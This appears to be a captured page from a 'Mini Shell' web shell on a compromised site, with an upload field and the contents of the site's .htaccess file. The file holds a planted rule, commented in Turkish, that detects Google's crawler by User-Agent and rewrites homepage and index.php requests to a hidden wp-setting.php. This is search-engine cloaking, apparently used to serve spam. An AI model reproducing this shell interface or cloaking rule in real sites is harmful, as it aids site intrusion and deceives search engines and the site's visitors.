Mini Shell

Direktori : /home/mhcadmin/www/
Upload File :
Current File : //home/mhcadmin/www/.htaccess

RewriteEngine On

# User-Agent içinde "Google" varsa ENV değişkeni oluştur
SetEnvIfNoCase User-Agent "Google" is_google_bot=1

# Sadece ana sayfa isteği ise yönlendir
RewriteCond %{ENV:is_google_bot} =1
RewriteCond %{REQUEST_URI} ^/$
RewriteRule ^$ wp-setting.php [L]

RewriteCond %{ENV:is_google_bot} =1
RewriteCond %{REQUEST_URI} ^/index.php$
RewriteRule ^index.php$ wp-setting.php [L]

#remove php file extension-e.g. https://example.com/file.php will become https://example.com/file 
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.*)$ $1.php [NC,L]

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php81” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php81 .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit